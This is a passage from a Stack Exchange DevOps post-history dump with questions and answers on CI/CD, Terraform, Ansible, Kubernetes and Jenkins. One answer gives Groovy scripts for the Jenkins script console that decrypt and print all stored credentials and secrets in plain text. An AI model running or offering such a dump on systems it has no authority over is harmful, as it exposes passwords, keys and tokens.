Open-Source-Ventilator/OpenSourceVentilator/&#xD;&#xA;            arduino-cli compile --warnings all --fqbn arduino:avr:uno -o osv-controller-uno.bin OpenSourceVentilator.ino&#xD;&#xA;            find .&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;        - ./osv-controller-uno.bin.hex&#xD;&#xA;        - ./osv-controller-uno.bin.elf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Pipeline output][3]:&#xD;&#xA;&#xD;&#xA;    .&#xD;&#xA;    ./test&#xD;&#xA;    ./test/RMVS_TestCaseData.xlsx&#xD;&#xA;    ./OpenSourceVentilator.ino&#xD;&#xA;    ./osv-controller-uno.bin.hex&#xD;&#xA;    ./osv-controller-uno.bin.elf&#xD;&#xA;    ./README.md&#xD;&#xA;   &#xD;&#xA;    section_end:1586713988:build_script&#xD;&#xA;    [0Ksection_start:1586713988:after_script&#xD;&#xA;    [0;msection_end:1586713990:after_script&#xD;&#xA;    [0Ksection_start:1586713990:archive_cache&#xD;&#xA;    [0K[0K[36;1m Saving cache[0;m&#xD;&#xA;    [0;msection_end:1586713991:archive_cache&#xD;&#xA;    [0K section_start:1586713991:upload_artifacts_on_success&#xD;&#xA;    [0K [0K [36;1m&#xD;&#xA;    &#xD;&#xA;    Uploading artifacts for successful job[0;m&#xD;&#xA;    [0;m[32;1m&#xD;&#xA;    Uploading artifacts...[0;m&#xD;&#xA;  &#xD;&#xA;    [0;33m WARNING: ./osv-controller-uno.bin.hex: no matching files[0;m &#xD;&#xA;    [0;33m WARNING: ./osv-controller-uno.bin.elf: no matching files[0;m &#xD;&#xA;&#xD;&#xA;    [31;1mERROR: No files to upload                         [0;m &#xD;&#xA;    section_end:1586713993:upload_artifacts_on_success&#xD;&#xA;    [0K[32;1mJob succeeded&#xD;&#xA;    [0;m&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gitlab.com/open-source-ventilator/ventilator&#xD;&#xA;  [2]: https://gitlab.com/open-source-ventilator/ventilator/controller_ci/-/blob/master/.gitlab-ci.yml&#xD;&#xA;  [3]: https://gitlab.com/open-source-ventilator/ventilator/controller_ci/-/jobs/507996642" ContentLicense="CC BY-SA 4.0" />
  <row Id="34629" PostHistoryTypeId="1" PostId="11326" RevisionGUID="a9b45e81-dd51-4a74-981d-e7026e7caebe" CreationDate="2020-04-13T07:32:20.047" UserId="707" Text="How comes a GitLab CI/CD job cant' find its artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34630" PostHistoryTypeId="3" PostId="11326" RevisionGUID="a9b45e81-dd51-4a74-981d-e7026e7caebe" CreationDate="2020-04-13T07:32:20.047" UserId="707" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34631" PostHistoryTypeId="2" PostId="11327" RevisionGUID="39606bcf-96b4-4888-bc46-ad9346e2a4d8" CreationDate="2020-04-13T10:07:47.507" UserId="17329" Text="Followed this guide https://medium.com/@emirmujic/collect-cluster-and-istio-metrics-with-prometheus-operator-42d4499d621a and it worked out for me on Istio 1.2.2:&#xD;&#xA;https://medium.com/@emirmujic/collect-cluster-and-istio-metrics-with-prometheus-operator-42d4499d621a" ContentLicense="CC BY-SA 4.0" />
  <row Id="34639" PostHistoryTypeId="2" PostId="11330" RevisionGUID="d85a8306-21d6-4a83-932b-7fb7cd5bb825" CreationDate="2020-04-13T13:07:42.960" UserId="19963" Text="Regarding modern CD tools, such as Spinnaker, Argo, Flux, Jenkins X (depending on your stack and use case - most are k8s specific) - they will help you with roll-out of any specific code base (set of artifacts) to a large number of nodes / instances. However, they wouldn't help you with versioning or keeping track of versioning. Essentially, they would help you to deploy whichever version you tell them to deploy to a large scale. &#xD;&#xA;&#xD;&#xA;I'm currently working on a project - https://relizahub.com - which integrates with any CI/CD solution to solve the problem of versioning there. Here's my latest demo video on approvals across different environments - https://www.youtube.com/watch?v=PzdZjMby6Is. It may help with a versioning issue and seeing what version you have at which instance and when it was deployed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34641" PostHistoryTypeId="2" PostId="11331" RevisionGUID="55e62dbe-2e7f-420b-8e59-efa30daf95af" CreationDate="2020-04-13T16:24:28.853" UserId="21675" Text="Is it possible to use docker images in Terraform that are **not hosted in a registry** but in the local Docker storage?&#xD;&#xA;&#xD;&#xA;I'd like to have a resource like the following where **no pull** is performed on the image if it exists locally.&#xD;&#xA;```&#xD;&#xA;resource &quot;docker_container&quot; &quot;my_service&quot; {&#xD;&#xA;  image = &quot;my_locally_built_image_name&quot;&#xD;&#xA;  name  = &quot;my-service&quot;&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34642" PostHistoryTypeId="1" PostId="11331" RevisionGUID="55e62dbe-2e7f-420b-8e59-efa30daf95af" CreationDate="2020-04-13T16:24:28.853" UserId="21675" Text="Referencing locally built Docker images in Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="34643" PostHistoryTypeId="3" PostId="11331" RevisionGUID="55e62dbe-2e7f-420b-8e59-efa30daf95af" CreationDate="2020-04-13T16:24:28.853" UserId="21675" Text="&lt;docker&gt;&lt;terraform&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34644" PostHistoryTypeId="2" PostId="11332" RevisionGUID="48270455-91a1-4673-a7ee-d1db27b3f28d" CreationDate="2020-04-13T18:04:21.740" UserId="21677" Text="Just want to throw out an example of it not being the CPU / mem.&#xD;&#xA;&#xD;&#xA;I remade a cluster, which included a new node pool, nodes, etc. Then tried re-deploying some of the pods that were on the previous cluster. 3 of them were working, and one kept showing &quot;Does not have minimum availability&quot;.&#xD;&#xA;&#xD;&#xA;It turns out, the pod in question's deployment file had `spec.template.spec.nodeName` hard-coded to one of the nodes from the previous cluster. In the new cluster, that node does not exist, so it failed.&#xD;&#xA;&#xD;&#xA;Review your k8s deployment file (.yaml or .json) if you are running into this issue and the other solutions don't work. Maybe even service files as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="34648" PostHistoryTypeId="2" PostId="11334" RevisionGUID="ed5b05a8-54f4-4aa5-8220-21d858675caf" CreationDate="2020-04-13T21:38:44.970" UserId="21682" Text="I'm a lead developer for a small B2B SaaS company, using Django and AWS. We currently run biweekly deploys after hours with a mostly-automated custom Fabric-powered tool.&#xD;&#xA;&#xD;&#xA;We're currently exploring options for moving to fully-automated nightly deploys, but want to move to a different branching model to support this.&#xD;&#xA;&#xD;&#xA;Right now, topics are branched from dev and merged to dev, a long-running branch which is merged wholesale with --no-ff into master during the biweekly prod deployment process. This necessitates a feature freeze on release days, to ensure that broken code isn't merged right before a release, and isn't really a great solution.&#xD;&#xA;&#xD;&#xA;My current plan is to move to a more branch-oriented workflow, similar to Gitworkflow: https://github.com/rocketraman/gitworkflow. This would allow us to merge feature/bug branches individually to dev, then only merge to master the branches (corresponding to Jira issues) that have passed manual QA.&#xD;&#xA;&#xD;&#xA;Is this a good approach?&#xD;&#xA;&#xD;&#xA;In my mind, there are a few potential open questions, like how to handle issues/branches which have failed QA, and should be removed from the dev branch/environment. I suppose that instead of reverting commits, we could then &quot;refresh&quot; the dev environment by overwriting it with master, and re-merging all branches currently undergoing QA..." ContentLicense="CC BY-SA 4.0" />
  <row Id="34649" PostHistoryTypeId="1" PostId="11334" RevisionGUID="ed5b05a8-54f4-4aa5-8220-21d858675caf" CreationDate="2020-04-13T21:38:44.970" UserId="21682" Text="Branching model for nightly deploys" ContentLicense="CC BY-SA 4.0" />
  <row Id="34650" PostHistoryTypeId="3" PostId="11334" RevisionGUID="ed5b05a8-54f4-4aa5-8220-21d858675caf" CreationDate="2020-04-13T21:38:44.970" UserId="21682" Text="&lt;git&gt;&lt;deployment&gt;&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34651" PostHistoryTypeId="5" PostId="8692" RevisionGUID="1fd6a000-c60a-465a-9d90-18f49b580b45" CreationDate="2020-04-14T00:58:30.317" UserId="19764" Comment="handle secretBytes" Text="Here is a short snippet you can just run from the jenkins script console, to dump all of your credentials to plain text.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    com.cloudbees.plugins.credentials.SystemCredentialsProvider.getInstance().getCredentials().forEach{&#xD;&#xA;      it.properties.each { prop, val -&gt;&#xD;&#xA;        if (prop == &quot;secretBytes&quot;) {&#xD;&#xA;          println(prop + &quot;=&gt;\n&quot; + new String(com.cloudbees.plugins.credentials.SecretBytes.fromString(&quot;${val}&quot;).getPlainData()) + &quot;\n&quot;)&#xD;&#xA;        } else {&#xD;&#xA;          println(prop + ' = &quot;' + val + '&quot;')&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      println(&quot;-----------------------&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;A more complicated version that lists for non-system credential providers:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: groovy --&gt;&#xD;&#xA;&#xD;&#xA;    import com.cloudbees.plugins.credentials.CredentialsProvider&#xD;&#xA;    import com.cloudbees.plugins.credentials.Credentials&#xD;&#xA;    import com.cloudbees.plugins.credentials.domains.Domain&#xD;&#xA;    import jenkins.model.Jenkins&#xD;&#xA;    def indent = { String text, int indentationCount -&gt;&#xD;&#xA;      def replacement = &quot;\t&quot; * indentationCount&#xD;&#xA;      text.replaceAll(&quot;(?m)^&quot;, replacement)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    Jenkins.get().allItems().collectMany{ CredentialsProvider.lookupStores(it).toList()}.unique().forEach { store -&gt;&#xD;&#xA;      Map&lt;Domain, List&lt;Credentials&gt;&gt; domainCreds = [:]&#xD;&#xA;      store.domains.each { domainCreds.put(it, store.getCredentials(it))}&#xD;&#xA;      if (domainCreds.collectMany{ it.value}.empty) {&#xD;&#xA;        return&#xD;&#xA;      }&#xD;&#xA;      def shortenedClassName = store.getClass().name.substring(store.getClass().name.lastIndexOf(&quot;.&quot;) + 1)&#xD;&#xA;      println &quot;Credentials for store context: ${store.contextDisplayName}, of type $shortenedClassName&quot;&#xD;&#xA;      domainCreds.forEach { domain , creds -&gt;&#xD;&#xA;        println indent(&quot;Domain: ${domain.name}&quot;, 1)&#xD;&#xA;        creds.each { cred -&gt;&#xD;&#xA;          cred.properties.each { prop, val -&gt;&#xD;&#xA;            println indent(&quot;$prop = \&quot;$val\&quot;&quot;, 2)&#xD;&#xA;          }&#xD;&#xA;          println indent(&quot;-----------------------&quot;, 2)&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="34652" PostHistoryTypeId="24" PostId="8692" RevisionGUID="1fd6a000-c60a-465a-9d90-18f49b580b45" CreationDate="2020-04-14T00:58:30.317" Comment="Proposed by 19764 approved by 16159 edit id of 1184" ContentLicense="CC BY-SA 4.0" />
  <row Id="34653" PostHistoryTypeId="2" PostId="11335" RevisionGUID="0c892833-b41e-4432-92dc-e7d0d7f65757" CreationDate="2020-04-14T01:10:52.163" UserId="19963" Text="You're bringing up a big pain point - and there are 2 camps here, people who do GitFlow and people who prefer other approaches (with TBD being most popular).&#xD;&#xA;&#xD;&#xA;Personally, TBD with release branches is something I would always prefer, but you can find lots of other people who would tell you GitFlow is better - so you'd have to decide for yourself.&#xD;&#xA;&#xD;&#xA;In your case TBD would work as following - you keep committing to your master, however before release time you cut a release branch out of master. Once you do that, you don't have to code freeze master and your developers can keep working there.&#xD;&#xA;&#xD;&#xA;Some materials for research:&#xD;&#xA;On Gitflow - https://nvie.com/posts/a-successful-git-branching-model/&#xD;&#xA;&#xD;&#xA;On TBD - https://trunkbaseddevelopment.com/ (especially check &quot;Scaled Trunk-Based Development&quot; section)&#xD;&#xA;&#xD;&#xA;Critics of Gitflow (note that myself I'm biased towards TBD) - &#xD;&#xA;&#xD;&#xA; 1. https://georgestocker.com/2020/03/04/please-stop-recommending-git-flow/&#xD;&#xA; 2. https://medium.com/@mattia.battiston/why-i-love-trunk-based-development-641fcf0b94a0&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34670" PostHistoryTypeId="2" PostId="11341" RevisionGUID="4f1c80f8-29fd-42b0-855d-dccdf8132483" CreationDate="2020-04-14T16:57:26.670" UserId="20068" Text="I am using below playbook for mounting partitions on another EBS volumes while provisioning instance on AWS &#xD;&#xA;&#xD;&#xA;        ---&#xD;&#xA;        - name: Mounting necessary partitions&#xD;&#xA;          hosts: localhost&#xD;&#xA;          become: yes&#xD;&#xA;          become_user: root&#xD;&#xA;        &#xD;&#xA;          tasks:&#xD;&#xA;        &#xD;&#xA;            - name: Ansible formating partitions.&#xD;&#xA;              command: &quot;{{ item }}&quot;&#xD;&#xA;              loop:&#xD;&#xA;                - mkswap -f {{ ebs_swap }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_home }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_var }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_tmp }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_app }}   &#xD;&#xA;                - mv -f /home /home_old&#xD;&#xA;                - mv -f /var /var_old    &#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_swap }}&#xD;&#xA;              register: uuid_swap&#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_home }}&#xD;&#xA;              register: uuid_home&#xD;&#xA;            &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_var}}&#xD;&#xA;              register: uuid_var&#xD;&#xA;            &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_tmp }}&#xD;&#xA;              register: uuid_tmp&#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_app }}&#xD;&#xA;              register: uuid_app&#xD;&#xA;        &#xD;&#xA;            - name: Creates directory&#xD;&#xA;              file:&#xD;&#xA;                path: &quot;{{ item }}&quot;&#xD;&#xA;                state: directory&#xD;&#xA;              with_items:&#xD;&#xA;                - /home&#xD;&#xA;                - /var&#xD;&#xA;                - /tmp&#xD;&#xA;                - /app&#xD;&#xA;        &#xD;&#xA;            - name: Add the below lines&#xD;&#xA;              blockinfile:&#xD;&#xA;                path: /etc/fstab&#xD;&#xA;                state: present&#xD;&#xA;                block: |&#xD;&#xA;                  UUID={{ uuid_swap.stdout }}   swap      swap defaults                         0   0&#xD;&#xA;                  UUID={{ uuid_home.stdout }}   /home     xfs  defaults,nodev                   0   0&#xD;&#xA;                  UUID={{ uuid_var.stdout }}    /var      xfs  defaults,noexec,nosuid,nodev     0   0&#xD;&#xA;                  UUID={{ uuid_tmp.stdout }}    /tmp      xfs  defaults,noexec,nosuid,nodev     0   0&#xD;&#xA;                  UUID={{ uuid_app.stdout }}    /app      xfs  defaults                         0   0&#xD;&#xA;          &#xD;&#xA;            - name: Mounting disks permanently&#xD;&#xA;              command: &quot;{{ item }}&quot;&#xD;&#xA;              loop:&#xD;&#xA;                - swapon -a&#xD;&#xA;                - mount -a&#xD;&#xA;        &#xD;&#xA;            - name: Copy multiple Directories&#xD;&#xA;              copy:&#xD;&#xA;                src: &quot;{{ item.src }}&quot;&#xD;&#xA;                dest: &quot;{{ item.dest }}&quot;&#xD;&#xA;                mode: &quot;{{ item.mode }}&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                 - { src: '/home_old/',dest: '/home/',mode: preserve}&#xD;&#xA;                 - { src: '/var_old/',dest: '/var/',mode: preserve}&#xD;&#xA;&#xD;&#xA;I have tried multiple ways to copy the data back to newly mounted EBS volumes at task name&#xD;&#xA;`Copying /home data on new EBS`.&#xD;&#xA;&#xD;&#xA;I have tried using `copy` `synchronization` &amp; `rsync` modules. I know using cp is not recommended option but i can not see any other option related to syncing the data between to directories with preserving permissions.&#xD;&#xA;&#xD;&#xA;But when i do it manually it works perfect.&#xD;&#xA;&#xD;&#xA;I am mounting these partitions on another EBS is just coz of CIS hardening steps includes it.&#xD;&#xA;&#xD;&#xA;I have followed couple of blogs already. such as &#xD;&#xA;1. [one][1] 2. [two][2]&#xD;&#xA;&#xD;&#xA;Can anyone help in solving this. this is very urgent.&#xD;&#xA;&#xD;&#xA;ERROR: `failed: [localhost] (item={u'dest': u'/var/', u'src': u'/var_old/'}) =&gt; {&quot;ansible_loop_var&quot;: &quot;item&quot;, &quot;changed&quot;: false, &quot;item&quot;: {&quot;dest&quot;: &quot;/var/&quot;, &quot;src&quot;: &quot;/var_old/&quot;}, &quot;msg&quot;: &quot;could not find src=/run/acpid.socket, Could not find or access '/run/acpid.socket' on the Ansible Controller.\nIf you are using a module and expect the file to exist on the remote, see the remote_src option&quot;}`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/34254164/what-is-cp-cannot-stat-error-in-unix-i-get-this-error-when-trying-to-copy-thin&#xD;&#xA;  [2]: https://stackoverflow.com/questions/53494035/ansible-synchronize-module-asks-for-password-no-solution-yet&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34671" PostHistoryTypeId="1" PostId="11341" RevisionGUID="4f1c80f8-29fd-42b0-855d-dccdf8132483" CreationDate="2020-04-14T16:57:26.670" UserId="20068" Text="How to sync two directories on same host sing ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34672" PostHistoryTypeId="3" PostId="11341" RevisionGUID="4f1c80f8-29fd-42b0-855d-dccdf8132483" CreationDate="2020-04-14T16:57:26.670" UserId="20068" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34673" PostHistoryTypeId="50" PostId="9795" RevisionGUID="5deca7cf-37e9-4446-a08e-785c739790b4" CreationDate="2020-04-14T17:01:10.240" UserId="-1" />
  <row Id="34674" PostHistoryTypeId="2" PostId="11342" RevisionGUID="f1569fef-98cd-429d-b668-1bdc3c2ac543" CreationDate="2020-04-14T18:32:27.233" UserId="11440" Text="The [copy][1] module copies a file from the local or remote machine to a location on the remote machine. &#xD;&#xA;&#xD;&#xA;In order to copy the file from the remote machine itself, set `remote_src` to `yes`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    - name: Copy multiple Directories&#xD;&#xA;              copy:&#xD;&#xA;                src: &quot;{{ item.src }}&quot;&#xD;&#xA;                dest: &quot;{{ item.dest }}&quot;&#xD;&#xA;                mode: &quot;{{ item.mode }}&quot;&#xD;&#xA;                remote_src: yes&#xD;&#xA;              with_items:&#xD;&#xA;                 - { src: '/home_old/',dest: '/home/',mode: preserve}&#xD;&#xA;                 - { src: '/var_old/',dest: '/var/',mode: preserve}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/copy_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34681" PostHistoryTypeId="5" PostId="11341" RevisionGUID="ff8154e7-a1e5-4d4a-9783-134dfb3a87ae" CreationDate="2020-04-14T19:58:00.823" UserId="9077" Comment="formatting and grammar errors.  changed title from sing to using" Text="I am using the below playbook for mounting partitions on another EBS volumes while provisioning instance on AWS &#xD;&#xA;&#xD;&#xA;        ---&#xD;&#xA;        - name: Mounting necessary partitions&#xD;&#xA;          hosts: localhost&#xD;&#xA;          become: yes&#xD;&#xA;          become_user: root&#xD;&#xA;        &#xD;&#xA;          tasks:&#xD;&#xA;        &#xD;&#xA;            - name: Ansible formating partitions.&#xD;&#xA;              command: &quot;{{ item }}&quot;&#xD;&#xA;              loop:&#xD;&#xA;                - mkswap -f {{ ebs_swap }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_home }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_var }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_tmp }}&#xD;&#xA;                - mkfs.xfs -f {{ ebs_app }}   &#xD;&#xA;                - mv -f /home /home_old&#xD;&#xA;                - mv -f /var /var_old    &#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_swap }}&#xD;&#xA;              register: uuid_swap&#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_home }}&#xD;&#xA;              register: uuid_home&#xD;&#xA;            &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_var}}&#xD;&#xA;              register: uuid_var&#xD;&#xA;            &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_tmp }}&#xD;&#xA;              register: uuid_tmp&#xD;&#xA;        &#xD;&#xA;            - name: Dispaly uuid &amp; store in variable&#xD;&#xA;              command: blkid -s UUID -o value {{ ebs_app }}&#xD;&#xA;              register: uuid_app&#xD;&#xA;        &#xD;&#xA;            - name: Creates directory&#xD;&#xA;              file:&#xD;&#xA;                path: &quot;{{ item }}&quot;&#xD;&#xA;                state: directory&#xD;&#xA;              with_items:&#xD;&#xA;                - /home&#xD;&#xA;                - /var&#xD;&#xA;                - /tmp&#xD;&#xA;                - /app&#xD;&#xA;        &#xD;&#xA;            - name: Add the below lines&#xD;&#xA;              blockinfile:&#xD;&#xA;                path: /etc/fstab&#xD;&#xA;                state: present&#xD;&#xA;                block: |&#xD;&#xA;                  UUID={{ uuid_swap.stdout }}   swap      swap defaults                         0   0&#xD;&#xA;                  UUID={{ uuid_home.stdout }}   /home     xfs  defaults,nodev                   0   0&#xD;&#xA;                  UUID={{ uuid_var.stdout }}    /var      xfs  defaults,noexec,nosuid,nodev     0   0&#xD;&#xA;                  UUID={{ uuid_tmp.stdout }}    /tmp      xfs  defaults,noexec,nosuid,nodev     0   0&#xD;&#xA;                  UUID={{ uuid_app.stdout }}    /app      xfs  defaults                         0   0&#xD;&#xA;          &#xD;&#xA;            - name: Mounting disks permanently&#xD;&#xA;              command: &quot;{{ item }}&quot;&#xD;&#xA;              loop:&#xD;&#xA;                - swapon -a&#xD;&#xA;                - mount -a&#xD;&#xA;        &#xD;&#xA;            - name: Copy multiple Directories&#xD;&#xA;              copy:&#xD;&#xA;                src: &quot;{{ item.src }}&quot;&#xD;&#xA;                dest: &quot;{{ item.dest }}&quot;&#xD;&#xA;                mode: &quot;{{ item.mode }}&quot;&#xD;&#xA;              with_items:&#xD;&#xA;                 - { src: '/home_old/',dest: '/home/',mode: preserve}&#xD;&#xA;                 - { src: '/var_old/',dest: '/var/',mode: preserve}&#xD;&#xA;&#xD;&#xA;I have tried multiple ways to copy the data back to newly mounted EBS volumes at task name&#xD;&#xA;`Copying /home data on new EBS`.&#xD;&#xA;&#xD;&#xA;I have tried using `copy` `synchronization` &amp; `rsync` modules. I know using `cp` is not recommended option but I can not see any other option related to syncing the data between to directories with preserving permissions.&#xD;&#xA;&#xD;&#xA;But when I do it manually it works perfectly.&#xD;&#xA;&#xD;&#xA;I am mounting these partitions on another EBS is just coz of CIS hardening steps includes it.&#xD;&#xA;&#xD;&#xA;I have followed a couple of blogs already. such as &#xD;&#xA;1. [one][1] 2. [two][2]&#xD;&#xA;&#xD;&#xA;Can anyone help in solving this? This is very urgent.&#xD;&#xA;&#xD;&#xA;&gt;ERROR: `failed: [localhost] (item={u'dest': u'/var/', u'src': u'/var_old/'}) =&gt; {&quot;ansible_loop_var&quot;: &quot;item&quot;, &quot;changed&quot;: false, &quot;item&quot;: {&quot;dest&quot;: &quot;/var/&quot;, &quot;src&quot;: &quot;/var_old/&quot;}, &quot;msg&quot;: &quot;could not find src=/run/acpid.socket, Could not find or access '/run/acpid.socket' on the Ansible Controller.\nIf you are using a module and expect the file to exist on the remote, see the remote_src option&quot;}`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/34254164/what-is-cp-cannot-stat-error-in-unix-i-get-this-error-when-trying-to-copy-thin&#xD;&#xA;  [2]: https://stackoverflow.com/questions/53494035/ansible-synchronize-module-asks-for-password-no-solution-yet&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34682" PostHistoryTypeId="4" PostId="11341" RevisionGUID="ff8154e7-a1e5-4d4a-9783-134dfb3a87ae" CreationDate="2020-04-14T19:58:00.823" UserId="9077" Comment="formatting and grammar errors.  changed title from sing to using" Text="How to sync two directories on same host using Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34683" PostHistoryTypeId="24" PostId="11341" RevisionGUID="ff8154e7-a1e5-4d4a-9783-134dfb3a87ae" CreationDate="2020-04-14T19:58:00.823" Comment="Proposed by 9077 approved by 40 edit id of 1185" ContentLicense="CC BY-SA 4.0" />
  <row Id="34688" PostHistoryTypeId="2" PostId="11345" RevisionGUID="3b3031bf-8fa5-4b65-9d51-059c8e21a250" CreationDate="2020-04-15T07:02:31.413" UserId="15832" Text="If task definition is using &quot;latest&quot; as image tag in container definition,to update ecs service in order to pull new image from ECR with &quot;latest&quot; tag. You can simply do Force new deployment &#xD;&#xA;aws ecs update-service --cluster &lt;cluster name&gt; --service &lt;service name&gt; --force-new-deployment --profile &lt;name&gt; &#xD;&#xA;&#xD;&#xA;All though using &quot;latest&quot; tag for deployment is not good practice&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34689" PostHistoryTypeId="2" PostId="11346" RevisionGUID="8f8ca0ca-b2fc-4628-8c3f-059cc75935ad" CreationDate="2020-04-15T07:53:17.357" UserId="21656" Text="I've a pipeline with stages where one of the stage, intermittently takes longer than expectation and hence using `timeout` to abort it. But if the stage is aborted, build also marked as aborted. Following is the code for pipeline -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;    &#xD;&#xA;            stage('First') {&#xD;&#xA;                options {&#xD;&#xA;                    timeout(time: 10, unit: 'SECONDS')&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;    &#xD;&#xA;                        catchError(buildResult: 'SUCCESS') {&#xD;&#xA;                            echo &quot;Executing stage I&quot;&#xD;&#xA;                            sleep 12&#xD;&#xA;                        }&#xD;&#xA;                        &#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            stage('Second') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        echo &quot;Executing stage II&quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Even though the stage is marked as `Aborted`, I want to mark build as `Success`. Can you please help how I can achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34690" PostHistoryTypeId="1" PostId="11346" RevisionGUID="8f8ca0ca-b2fc-4628-8c3f-059cc75935ad" CreationDate="2020-04-15T07:53:17.357" UserId="21656" Text="How to mark build success when one of the stages is aborted?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34691" PostHistoryTypeId="3" PostId="11346" RevisionGUID="8f8ca0ca-b2fc-4628-8c3f-059cc75935ad" CreationDate="2020-04-15T07:53:17.357" UserId="21656" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34692" PostHistoryTypeId="2" PostId="11347" RevisionGUID="5a01af67-2b7e-468b-891c-89d2cfd079f1" CreationDate="2020-04-15T08:21:40.813" UserId="21714" Text="I developed a .net core console application and I want to deliver it to a FTP server. &#xD;&#xA;&#xD;&#xA;I managed it in Azure Devops with FTP Upload task. All good here.&#xD;&#xA;&#xD;&#xA;But before upload content to FTP, I want to make sure that remote directory exists, if not then create.&#xD;&#xA;&#xD;&#xA;I put command `mkdir test` in FTP command but I got error that command is unknown and deployment is not done&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;How to achieve that ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nrHcr.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/UW2G9.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34693" PostHistoryTypeId="1" PostId="11347" RevisionGUID="5a01af67-2b7e-468b-891c-89d2cfd079f1" CreationDate="2020-04-15T08:21:40.813" UserId="21714" Text="Azure DevOps pipeline upload to FTP after create directory on remote server" ContentLicense="CC BY-SA 4.0" />
  <row Id="34694" PostHistoryTypeId="3" PostId="11347" RevisionGUID="5a01af67-2b7e-468b-891c-89d2cfd079f1" CreationDate="2020-04-15T08:21:40.813" UserId="21714" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34696" PostHistoryTypeId="2" PostId="11348" RevisionGUID="ace4a026-b8e3-4657-9373-3884a90acfdf" CreationDate="2020-04-15T11:19:14.967" UserId="21501" Text="So I have choosed implementing my own RunListener. I added a compile,test dependency on it to all my other modules and hooked it up in maven surefire plugin configuration. See also https://stackoverflow.com/questions/61206966/surefire-only-reports-first-test-suite-from-module-to-runlistener" ContentLicense="CC BY-SA 4.0" />
